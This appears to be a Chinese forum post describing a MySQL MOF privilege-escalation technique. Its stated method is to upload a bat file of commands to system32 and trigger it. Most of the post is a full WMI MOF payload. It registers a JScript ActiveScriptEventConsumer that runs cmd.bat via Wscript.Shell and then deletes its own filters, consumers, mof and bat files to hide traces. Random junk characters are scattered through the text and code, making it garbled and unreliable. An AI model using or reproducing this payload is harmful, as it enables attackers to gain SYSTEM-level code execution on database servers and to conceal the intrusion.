这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ z' i3 D; d& [需要将要运行的命令写入到bat上传到system32目录,然后执行。1 x$ ]# D4 W% I- I* K0 l6 I1 C1 o
, S9 k* _& K. `
这个sql提权MOF需要运行 system下的文件,不能定义路径。+ D7 P" v, ~) ?: L4 A; c
需要将要运行的命令写入到bat上传到system32目录,然后执行。
$ A. J' e% z: B9 c \: v8 I& ^6 [$ U- a* Q
#pragma( G3 h" ]& u* a8 A& z7 l/ |
namespace("\\\\.\\root\\cimv2")
4 [( P6 T8 }4 A class
4 X! y$ ~1 n3 V MyClass547
9 {- [$ ~, A4 A) J { [key]
! U* S8 x" m" F/ q8 U3 ]( W9 l4 P string
# g$ \, I* P8 v/ E Name;8 d( _) [! @+ d9 `2 O
};
- A" N- b7 Z% c/ p class6 i/ o9 ^: I1 I- E; J2 U4 [# Z( Y2 m, m
ActiveScriptEventConsumer1 s4 H1 X2 p) |5 Y. W- F
: __EventConsumer { [key]
! j) h8 T5 D. P3 I1 c3 C string
1 o$ o. w! n8 j$ F Name; [not_null]
" _ a5 ?; }1 d6 p string
9 b( Y' I0 M" j6 z ScriptingEngine; string
; M- e" \8 n; A- \" r1 z" c+ P ScriptFileName; [template]
# y, T8 D9 h2 U2 t; I2 H9 V string, O. |7 V+ O* @9 T- |* N" B
ScriptText; uint32 KillTimeout;
" E8 @" i( S& [; P% p$ m* K6 q }; instance of __Win32Provider as $P {
+ A& d c% e0 l Name
% ^6 z2 X% i* f& y% a0 Q/ R =
, C5 l* v# U0 I( k5 a2 `" a7 _$ x7 [ "ActiveScriptEventConsumer"; CLSID =- q5 S( W! l% U/ S9 Z' r
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";) i7 i8 E# J: `* n# r; H
PerUserInitialization
3 R" l0 t3 \2 c = TRUE;
! }1 [& p1 s3 ]- }; s }; instance of __EventConsumerProviderRegistration { Provider
/ x8 N s* q1 b# f7 l- @6 M8 w6 Y* v8 [# d = $P; ConsumerClassNames
$ A9 a" s) e8 x) ~5 s x =
7 h1 w$ K2 G5 L! u8 K3 _- r; d {"ActiveScriptEventConsumer"};# p u% G; T( X* Z) A& q, Q% N
};) O6 u( C) a x0 S" s6 w+ q
Instance of ActiveScriptEventConsumer
+ p; n3 _2 ?3 [$ w( c% Y as $cons { Name B8 u9 Q- Q3 }' i$ W
=. z2 Z" U$ Y( S M
"ASEC"; ScriptingEngine
: F9 T% _) T, s$ H8 `2 c* T; | =1 C6 o# \1 r% Z5 J
"JScript"; ScriptText
5 {& y! ~- R* T) t( s4 j2 m =2 Z* I" X/ F3 f/ P
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };# x+ G9 K9 l" @1 h0 m/ A
Instance of ActiveScriptEventConsumer5 G& T$ s' g9 V5 V' X3 l
as $cons2 { Name
n- Q) B% N" q, f =
: L. X! B7 l( u4 y. f; ~/ k "qndASEC"; ScriptingEngine# y" ?2 Q! N8 l# f2 v: h; P
=
8 U) J' N: ^/ G& E# V, q "JScript"; ScriptText+ q& L' X0 R2 r4 ]
=' l% G( @$ d" G1 z4 ]
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
& x5 Y6 S- W7 J+ n f4 e2 ? }; instance of __EventFilter as $Filt { Name
- Y) j9 t0 N( _+ g& Y3 ` =7 F+ F, {3 q* O7 b6 d
"instfilt"; Query6 s4 y; \) ^8 O2 g9 U
=5 y8 z9 z, b9 X5 L
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
0 g: Q7 i+ {2 \" s7 o" Y2 m =6 C2 m- z; `4 Z3 }& [# M
"WQL"; }; instance of __EventFilter as $Filt2 { Name+ b3 c# n' f x$ `0 Z* O+ s! o3 A
=* \$ m. N3 j! p" c
"qndfilt"; Query: r. R5 r- M a8 E0 {
=
( }5 y7 I( Q& N& v1 C' v$ S "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage$ H$ \% `" E" J' T1 A
=. S4 P3 @$ e7 h
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
3 I/ h! I6 y; X" B = $cons; Filter
) M0 Y+ g# `$ F0 N% r = $Filt;6 a5 V2 ~! f ?2 |% ^- `3 e( o
}; instance of __FilterToConsumerBinding as $bind2 { Consumer, u1 a; L" q! V# W/ V- ?9 |% |
= $cons2; Filter; Y/ \! a( u1 H/ k6 @
= $Filt2;
2 e. k5 q' q+ u }; instance of MyClass5473 W% a+ B" f% @# ]+ \* u* @
as $MyClass { Name8 Y7 m3 K- ~7 e6 }
=4 F. h c6 e- C
"ClassConsumer";. r% @( ]& M5 e8 ?- Q) \( u
}; |